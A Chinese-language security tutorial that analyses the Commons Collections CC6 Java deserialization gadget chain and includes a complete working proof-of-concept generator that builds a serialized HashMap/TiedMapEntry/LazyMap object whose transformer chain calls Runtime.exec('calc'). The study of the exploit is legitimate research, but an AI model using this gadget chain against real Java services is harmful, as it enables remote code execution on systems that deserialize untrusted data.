前言
我们已经学习了CC1利用链,但是这条链在8u71
版本之后就已经无法使用了,所以我们现在就要考虑能不能找一条没有被版本限制的利用链,这时候我们就要学习CC6了,CC6可以说就是CC1的升级版。
8u71sun文件下载地址:
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
CC6利用链分析
在高版本中,之所有CC1无法利用的原因是LazyMap
的get
方法无法在高版本中无法通过AnnotationInvocationHandler
进行利用了,因为其readObject
中的逻辑被修改
改动后,不再直接使用反序列化得到的Map
对象,而是新建了一个LinkedHashMap
对象,并将原来的键值添加进去,传进去的恶意Map
不再执行set
或put
操作,便无法触发transform
。
所以就需要寻找其他类中调用LazyMap.get
方法,这里最终找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
方法中调用了map.get
,
而在这个类的hashCode
方法调用了getValue
方法
我们在之前已经学习过URLDNS
的利用链(详情见之前文章,这里就不再赘述),我们知道其利用链主要是通过hashCode
完成的,这里我们也可以采用这种思路
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()---->代码中替换为LazyMap.hashCode()
只不过这里我们需要将URL对象修改为LazyMap,只有这样才能执行他的hashCode方法
尝试编写测试代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String,String> map = new HashMap();
Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test0");
HashMap<Object,Object> outMap = new HashMap<>();
outMap.put(tiedMapEntry,"test1");
lazyMap.remove("test0");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap,transformerChain);
// outMap.put("test","test");
serialize(outMap);
unSerialize("src/com/alexsel/CC6/ser.ser");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/CC6/ser.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
objectOutputStream.close();
}
// 反序列化
public static Object unSerialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileName));
Object obj = objectInputStream.readObject();
objectInputStream.close();
return obj;
}
}
这里有一个问题需要我们注意,也是我们在URLDNS分析中遇到的和这里是类似的问题,
我们向HashMap
中put
了一个元素(至于为什么会走到这里,请对照URLDNS),当走到LazyMap.get
方法的时候会修改LazyMap
中map
的值,因为正常情况下map中是是没有包含key
变量这个键的,但是经过判断不存在这个键后,就会给map添加进去,当我们真正进行漏洞利用进到get
方法中时,就无法执行factory.transform
这个方法了,导致利用失败。
所以我们需要删除添加进去的元素,在代码中lazyMap.remove("test0");
这行的功能就是删除多余添加的元素。
测试执行结果
总结
这一个利用链主要逻辑为两个已知的利用链组成,前半段是URLDNS利用链的前半段,后半段是CC1的后半段,结合这两个利用链我们很容易理解CC6如何利用。